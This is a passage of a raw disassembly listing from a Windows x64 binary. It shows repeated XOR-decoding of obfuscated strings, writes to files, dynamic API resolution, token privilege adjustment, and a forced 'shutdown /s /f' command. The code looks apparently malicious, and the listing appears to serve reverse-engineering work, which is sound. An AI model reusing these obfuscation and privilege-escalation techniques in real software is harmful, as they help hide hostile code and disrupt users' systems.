vmovdqu xmmword [rbp + 0xff0], xmm0
vmovdqu xmm1, xmmword [rbp - 0x70]
vpxor xmm2, xmm1, xmmword [rbp + 0x1000]
vmovdqu xmmword [rbp + 0x1000], xmm2
vmovdqu xmm0, xmmword [rbp - 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x1010]
vmovdqu xmmword [rbp + 0x1010], xmm1
lea rdx, [rbp + 0xfe0]
lea rcx, [rbp + 0x9c0]
call fcn.14006d660
mov rdi, rax
mov qword [rsp + 0x60], rax
movabs rax, 0xa1948546e740ac04
mov qword [rbp + 0x4a0], rax
mov qword [rbp + 0x4a8], r13
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x4a0]
vmovdqu xmmword [rbp + 0x4a0], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x2720]
call fcn.14006cd20
nop
cmp qword [rbp + 0x27a8], 0
je 0x1401277a6
movabs rax, 0xf59e9e1ae642e333
mov qword [rbp + 0x4b0], rax
movabs rax, 0xdcfff7680846e335
mov qword [rbp + 0x4b8], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x4b0]
vmovdqu xmmword [rbp + 0x4b0], xmm1
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x2720]
call fcn.14006fd10
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140127789
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140072900
lea rdx, [0x140070280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x2720]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2720], rax
mov rax, qword [rbp + 0x2720]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x271c], edx
lea rcx, [rbp + 0x2728]
call fcn.14006cc30
lea rcx, [rbp + 0x2730]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x27c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
jmp 0x140127284
call fcn.14004dda0
movabs rax, 0x9dcc941cf14ba62c
mov qword [rbp + 0x11b0], rax
movabs rax, 0xa99d922c083b973c
mov qword [rbp + 0x11b8], rax
movabs rax, 0x7795454414faa40f
mov qword [rbp + 0x11c0], rax
movabs rax, 0xc17887481a91ac0e
mov qword [rbp + 0x11c8], rax
movabs rax, 0xe4e58e06051fa006
mov qword [rbp + 0x11d0], rax
movabs rax, 0xcef8c11a65dfa207
mov qword [rbp + 0x11d8], rax
movabs rax, 0x6ff12e0d9ecfa706
mov qword [rbp + 0x11e0], rax
movabs rax, 0x931536078d53b71a
mov qword [rbp + 0x11e8], rax
movabs rax, 0xea4461686de98038
mov qword [rbp + 0x11f0], rax
movabs r14, 0x8b66e768870bc368
mov qword [rbp + 0x11f8], r14
movabs r15, 0xd5ecf1689427c368
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
movabs rsi, 0x12f76568669fc368
mov qword [rbp - 0x80], rsi
movabs rbx, 0xb419eb687fe3c368
mov qword [rbp - 0x78], rbx
movabs rax, 0x88c5e9686c77c368
mov qword [rbp - 0x70], rax
movabs rax, 0x8fd8ef6800bbc368
mov qword [rbp - 0x68], rax
movabs rax, 0xe855d68ecefc368
mov qword [rbp - 0x60], rax
movabs rax, 0xb3674368f473c368
mov qword [rbp - 0x58], rax
movabs rax, 0xea4461686dc7c368
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], r14
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x11b0]
vmovdqu xmmword [rbp + 0x11b0], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0x11c0]
vmovdqu xmmword [rbp + 0x11c0], xmm0
vmovdqu xmm1, xmmword [rbp - 0x70]
vpxor xmm2, xmm1, xmmword [rbp + 0x11d0]
vmovdqu xmmword [rbp + 0x11d0], xmm2
vmovdqu xmm0, xmmword [rbp - 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x11e0]
vmovdqu xmmword [rbp + 0x11e0], xmm1
vmovdqu xmm2, xmmword [rbp - 0x50]
vpxor xmm0, xmm2, xmmword [rbp + 0x11f0]
vmovdqu xmmword [rbp + 0x11f0], xmm0
lea rdx, [rbp + 0x11b0]
lea rcx, [rbp + 0x9e0]
call fcn.14006d660
mov rdi, rax
mov qword [rsp + 0x60], rax
movabs rax, 0xa1948546e740ac04
mov qword [rbp + 0x4c0], rax
mov qword [rbp + 0x4c8], r13
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x4c0]
vmovdqu xmmword [rbp + 0x4c0], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x2830]
call fcn.14006cd20
nop
cmp qword [rbp + 0x28b8], 0
je 0x140127a99
movabs rax, 0xf59e9e1ae642e333
mov qword [rbp + 0x4d0], rax
movabs rax, 0xdcfff7680846e335
mov qword [rbp + 0x4d8], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x4d0]
vmovdqu xmmword [rbp + 0x4d0], xmm1
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x2830]
call fcn.14006fd10
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140127a7c
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140072900
lea rdx, [0x140070280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x2830]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2830], rax
mov rax, qword [rbp + 0x2830]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x282c], edx
lea rcx, [rbp + 0x2838]
call fcn.14006cc30
lea rcx, [rbp + 0x2840]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x28d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
jmp 0x140127284
call fcn.14004dda0
movabs rax, 0x85cc941cf14ba62c
mov qword [rbp + 0x1200], rax
movabs rax, 0x94df841b4d08ac1a
mov qword [rbp + 0x1208], rax
movabs rax, 0x70d7491a03f4a009
mov qword [rbp + 0x1210], rax
movabs rax, 0xd575cb0d0d8ca50d
mov qword [rbp + 0x1218], rax
movabs rax, 0xa8a287010414ad1d
mov qword [rbp + 0x1220], rax
movabs rax, 0xaff69d0d64daac04
mov qword [rbp + 0x1228], rax
movabs rax, 0x7af6381acc8bad29
mov qword [rbp + 0x1230], rax
movabs rax, 0xc1122c11d407b109
mov qword [rbp + 0x1238], rax
movabs rax, 0xea44616843849348
mov qword [rbp + 0x1240], rax
movabs rcx, 0x8b66e768870bc368
mov qword [rbp + 0x1248], rcx
movabs r15, 0xd5ecf1689427c368
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
movabs rsi, 0x12f76568669fc368
mov qword [rbp - 0x80], rsi
movabs rbx, 0xb419eb687fe3c368
mov qword [rbp - 0x78], rbx
movabs rax, 0x88c5e9686c77c368
mov qword [rbp - 0x70], rax
movabs rax, 0x8fd8ef6800bbc368
mov qword [rbp - 0x68], rax
movabs rax, 0xe855d68ecefc368
mov qword [rbp - 0x60], rax
movabs rax, 0xb3674368f473c368
mov qword [rbp - 0x58], rax
movabs rax, 0xea4461686dc7c368
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rcx
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x1200]
vmovdqu xmmword [rbp + 0x1200], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0x1210]
vmovdqu xmmword [rbp + 0x1210], xmm0
vmovdqu xmm1, xmmword [rbp - 0x70]
vpxor xmm2, xmm1, xmmword [rbp + 0x1220]
vmovdqu xmmword [rbp + 0x1220], xmm2
vmovdqu xmm0, xmmword [rbp - 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x1230]
vmovdqu xmmword [rbp + 0x1230], xmm1
vmovdqu xmm2, xmmword [rbp - 0x50]
vpxor xmm0, xmm2, xmmword [rbp + 0x1240]
vmovdqu xmmword [rbp + 0x1240], xmm0
vpxor xmm1, xmm1, xmm1
vmovups xmmword [rbp + 0xa00], xmm1
mov qword [rbp + 0xa10], r12
mov qword [rbp + 0xa18], r12
lea rax, [rbp + 0x1200]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140127cb2
lea rdx, [rbp + 0x1200]
lea rcx, [rbp + 0xa00]
call fcn.140070960
lea rax, [rbp + 0xa00]
mov qword [rsp + 0x60], rax
movabs rax, 0xa1948546e740ac04
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x4e8], r13
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x4e0]
vmovdqu xmmword [rbp + 0x4e0], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x2940]
call fcn.14006cd20
nop
cmp qword [rbp + 0x29c8], 0
je 0x140127dd3
movabs rax, 0xf59e9e1ae642e333
mov qword [rbp + 0x4f0], rax
movabs rax, 0xdcfff7680846e335
mov qword [rbp + 0x4f8], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x4f0]
vmovdqu xmmword [rbp + 0x4f0], xmm1
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x2940]
call fcn.14006fd10
lea rdx, [rbp + 0xa00]
cmp qword [rbp + 0xa18], 0xf
cmova rdx, qword [rbp + 0xa00]
mov r8, qword [rbp + 0xa10]
mov rcx, rax
call fcn.140072900
lea rdx, [0x140070280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x2940]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2940], rax
mov rax, qword [rbp + 0x2940]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x293c], edx
lea rcx, [rbp + 0x2948]
call fcn.14006cc30
lea rcx, [rbp + 0x2950]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x29e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0xa18]
cmp rdx, 0xf
jbe 0x140127e70
inc rdx
mov rcx, qword [rbp + 0xa00]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140127e6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140127e6b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14019ebcc
mov qword [rbp + 0xa10], r12
mov qword [rbp + 0xa18], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa00], 0
mov rdx, qword [rbp + 0x798]
cmp rdx, 0xf
jbe 0x1401272ce
inc rdx
mov rcx, qword [rbp + 0x780]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401272c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401272c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14004dda0
movabs rax, 0x85cc941cf14ba62c
mov qword [rbp + 0x1250], rax
movabs rax, 0x94df841b4d08ac1a
mov qword [rbp + 0x1258], rax
movabs rax, 0x70d7491a03f4a009
mov qword [rbp + 0x1260], rax
movabs rax, 0xd575cb0d0d8ca50d
mov qword [rbp + 0x1268], rax
movabs rax, 0xa8a287010414ad1d
mov qword [rbp + 0x1270], rax
movabs rax, 0xaff69d0d64daac04
mov qword [rbp + 0x1278], rax
movabs rax, 0x7af6381acc8bad29
mov qword [rbp + 0x1280], rax
movabs rax, 0xc1122c11d407b109
mov qword [rbp + 0x1288], rax
movabs rax, 0xea44616843849348
mov qword [rbp + 0x1290], rax
movabs r14, 0x8b66e768870bc368
mov qword [rbp + 0x1298], r14
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
movabs rsi, 0x12f76568669fc368
mov qword [rbp - 0x80], rsi
movabs rbx, 0xb419eb687fe3c368
mov qword [rbp - 0x78], rbx
movabs rax, 0x88c5e9686c77c368
mov qword [rbp - 0x70], rax
movabs rax, 0x8fd8ef6800bbc368
mov qword [rbp - 0x68], rax
movabs rax, 0xe855d68ecefc368
mov qword [rbp - 0x60], rax
movabs rax, 0xb3674368f473c368
mov qword [rbp - 0x58], rax
movabs rax, 0xea4461686dc7c368
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], r14
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x1250]
vmovdqu xmmword [rbp + 0x1250], xmm1
vmovdqu xmm2, xmmword [rbp + 0x1260]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x1260], xmm0
vmovdqu xmm1, xmmword [rbp + 0x1270]
vpxor xmm2, xmm1, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0x1270], xmm2
vmovdqu xmm0, xmmword [rbp + 0x1280]
vpxor xmm1, xmm0, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0x1280], xmm1
vmovdqu xmm2, xmmword [rbp + 0x1290]
vpxor xmm0, xmm2, xmmword [rbp - 0x50]
vmovdqu xmmword [rbp + 0x1290], xmm0
lea rdx, [rbp + 0x1250]
lea rcx, [rbp + 0xaa0]
call fcn.14006d660
mov rdi, rax
mov qword [rsp + 0x60], rax
movabs rax, 0xa1948546e740ac04
mov qword [rbp + 0x550], rax
mov qword [rbp + 0x558], r13
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x550]
vmovdqu xmmword [rbp + 0x550], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x2a50]
call fcn.14006cd20
nop
cmp qword [rbp + 0x2ad8], 0
je 0x14012815f
movabs rax, 0xf59e9e1ae642e333
mov qword [rbp + 0x560], rax
movabs rax, 0xdcfff7680846e335
mov qword [rbp + 0x568], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x560]
vmovdqu xmmword [rbp + 0x560], xmm1
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x2a50]
call fcn.14006fd10
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140128142
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140072900
lea rdx, [0x140070280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2a50]
call fcn.14004dd20
nop
jmp 0x1401286a6
call fcn.14004dda0
movabs rax, 0x85cc941cf14ba62c
mov qword [rbp + 0x12a0], rax
movabs rax, 0x94df841b4d08ac1a
mov qword [rbp + 0x12a8], rax
movabs rax, 0x70d7491a03f4a009
mov qword [rbp + 0x12b0], rax
movabs rax, 0xd575cb0d0d8ca50d
mov qword [rbp + 0x12b8], rax
movabs rax, 0xa8a287010414ad1d
mov qword [rbp + 0x12c0], rax
movabs rax, 0xaff69d0d64daac04
mov qword [rbp + 0x12c8], rax
movabs rax, 0x7af6381acc8bad29
mov qword [rbp + 0x12d0], rax
movabs rax, 0xc1122c11d407b109
mov qword [rbp + 0x12d8], rax
movabs rax, 0xea44616843849348
mov qword [rbp + 0x12e0], rax
movabs r14, 0x8b66e768870bc368
mov qword [rbp + 0x12e8], r14
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
movabs rsi, 0x12f76568669fc368
mov qword [rbp - 0x80], rsi
movabs rbx, 0xb419eb687fe3c368
mov qword [rbp - 0x78], rbx
movabs rax, 0x88c5e9686c77c368
mov qword [rbp - 0x70], rax
movabs rax, 0x8fd8ef6800bbc368
mov qword [rbp - 0x68], rax
movabs rax, 0xe855d68ecefc368
mov qword [rbp - 0x60], rax
movabs rax, 0xb3674368f473c368
mov qword [rbp - 0x58], rax
movabs rax, 0xea4461686dc7c368
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], r14
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x12a0]
vmovdqu xmmword [rbp + 0x12a0], xmm1
vmovdqu xmm2, xmmword [rbp + 0x12b0]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x12b0], xmm0
vmovdqu xmm1, xmmword [rbp + 0x12c0]
vpxor xmm2, xmm1, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0x12c0], xmm2
vmovdqu xmm0, xmmword [rbp + 0x12d0]
vpxor xmm1, xmm0, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0x12d0], xmm1
vmovdqu xmm2, xmmword [rbp + 0x12e0]
vpxor xmm0, xmm2, xmmword [rbp - 0x50]
vmovdqu xmmword [rbp + 0x12e0], xmm0
lea rdx, [rbp + 0x12a0]
lea rcx, [rbp + 0xac0]
call fcn.14006d660
mov rdi, rax
mov qword [rsp + 0x60], rax
movabs rax, 0xa1948546e740ac04
mov qword [rbp + 0x570], rax
mov qword [rbp + 0x578], r13
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x570]
vmovdqu xmmword [rbp + 0x570], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x2b60]
call fcn.14006cd20
nop
cmp qword [rbp + 0x2be8], 0
je 0x1401283fc
movabs rax, 0xf59e9e1ae642e333
mov qword [rbp + 0x580], rax
movabs rax, 0xdcfff7680846e335
mov qword [rbp + 0x588], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x580]
vmovdqu xmmword [rbp + 0x580], xmm1
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x2b60]
call fcn.14006fd10
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1401283df
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140072900
lea rdx, [0x140070280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2b60]
call fcn.14004dd20
nop
jmp 0x1401286a6
call fcn.14004dda0
movabs rax, 0x85cc941cf14ba62c
mov qword [rbp + 0x12f0], rax
movabs rax, 0x94df841b4d08ac1a
mov qword [rbp + 0x12f8], rax
movabs rax, 0x70d7491a03f4a009
mov qword [rbp + 0x1300], rax
movabs rax, 0xd575cb0d0d8ca50d
mov qword [rbp + 0x1308], rax
movabs rax, 0xa8a287010414ad1d
mov qword [rbp + 0x1310], rax
movabs rax, 0xaff69d0d64daac04
mov qword [rbp + 0x1318], rax
movabs rax, 0x7af6381acc8bad29
mov qword [rbp + 0x1320], rax
movabs rax, 0xc1122c11d407b109
mov qword [rbp + 0x1328], rax
movabs rax, 0xea44616843849348
mov qword [rbp + 0x1330], rax
movabs rcx, 0x8b66e768870bc368
mov qword [rbp + 0x1338], rcx
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
movabs rsi, 0x12f76568669fc368
mov qword [rbp - 0x80], rsi
movabs rbx, 0xb419eb687fe3c368
mov qword [rbp - 0x78], rbx
movabs rax, 0x88c5e9686c77c368
mov qword [rbp - 0x70], rax
movabs rax, 0x8fd8ef6800bbc368
mov qword [rbp - 0x68], rax
movabs rax, 0xe855d68ecefc368
mov qword [rbp - 0x60], rax
movabs rax, 0xb3674368f473c368
mov qword [rbp - 0x58], rax
movabs rax, 0xea4461686dc7c368
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rcx
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x12f0]
vmovdqu xmmword [rbp + 0x12f0], xmm1
vmovdqu xmm2, xmmword [rbp + 0x1300]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x1300], xmm0
vmovdqu xmm1, xmmword [rbp + 0x1310]
vpxor xmm2, xmm1, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0x1310], xmm2
vmovdqu xmm0, xmmword [rbp + 0x1320]
vpxor xmm1, xmm0, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0x1320], xmm1
vmovdqu xmm2, xmmword [rbp + 0x1330]
vpxor xmm0, xmm2, xmmword [rbp - 0x50]
vmovdqu xmmword [rbp + 0x1330], xmm0
lea rdx, [rbp + 0x12f0]
lea rcx, [rbp + 0xae0]
call fcn.14006d660
mov rdi, rax
mov qword [rsp + 0x60], rax
movabs rax, 0xa1948546e740ac04
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x598], r13
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x590]
vmovdqu xmmword [rbp + 0x590], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x2c70]
call fcn.14006cd20
nop
cmp qword [rbp + 0x2cf8], 0
je 0x140128699
movabs rax, 0xf59e9e1ae642e333
mov qword [rbp + 0x5a0], rax
movabs rax, 0xdcfff7680846e335
mov qword [rbp + 0x5a8], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x5a0]
vmovdqu xmmword [rbp + 0x5a0], xmm1
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x2c70]
call fcn.14006fd10
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x14012867c
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140072900
lea rdx, [0x140070280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2c70]
call fcn.14004dd20
nop
mov rcx, rdi
call fcn.14006d590
nop
lea rcx, [rbp + 0xa80]
call fcn.14006d590
vmovsd xmm0, qword [0x1401c2358]
vmovsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1401c2360]
mov dword [rbp - 0x38], eax
movzx eax, word [0x1401c2364]
mov word [rbp - 0x34], ax
cmp byte [0x1401c2365], 0
je 0x14012871d
mov byte [rbp - 0x40], 0x44
xor byte [rbp - 0x3f], 0x38
xor byte [rbp - 0x3e], 0x39
xor byte [rbp - 0x3d], 0x3a
xor byte [rbp - 0x3c], 0x3b
xor byte [rbp - 0x3b], 0x3c
xor byte [rbp - 0x3a], 0x3d
xor byte [rbp - 0x39], 0x3e
xor byte [rbp - 0x38], 0x3f
xor byte [rbp - 0x37], 0x40
xor byte [rbp - 0x36], 0x41
xor byte [rbp - 0x35], 0x42
xor byte [rbp - 0x34], 0x43
xor byte [rbp - 0x33], 0x44
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xb00]
call fcn.14006d660
mov rdx, rax
lea rcx, [0x1402f0c90]
call fcn.140143c80
call fcn.14004dda0
call fcn.14004dda0
movabs rax, 0xb988df04f843b706
mov qword [rbp + 0x5b0], rax
movabs rax, 0xdcfff768286bc304
mov qword [rbp + 0x5b8], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x5b0]
vmovdqu xmmword [rbp + 0x5b0], xmm1
lea rcx, [rbp + 0x5b0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x1401288c1
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x5c0], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x20]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14012882c
lea r8, [rbp + 0x28]
lea rdx, [0x1401c2098]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rbp + 0x20]
test eax, eax
je 0x140128826
mov dword [rbp + 0x5c0], 1
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x5c4], rax
mov dword [rbp + 0x5cc], 2
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x5c0]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0xa7bc850dc74bb73a
mov qword [rbp + 0xb20], rax
movabs rax, 0x9f8cbe1b5b0ea007
mov qword [rbp + 0xb28], rax
movabs rax, 0x129b040b0febaa1a
mov qword [rbp + 0xb30], rax
mov qword [rbp + 0xb38], rbx
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rbx
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0xb20]
vmovdqu xmmword [rbp + 0xb20], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0xb30]
vmovdqu xmmword [rbp + 0xb30], xmm0
lea rdx, [rbp + 0xb20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1401288c1
xor r8d, r8d
xor edx, edx
mov cl, 1
call rax
lea rcx, str.shutdown_shutdown__s__f
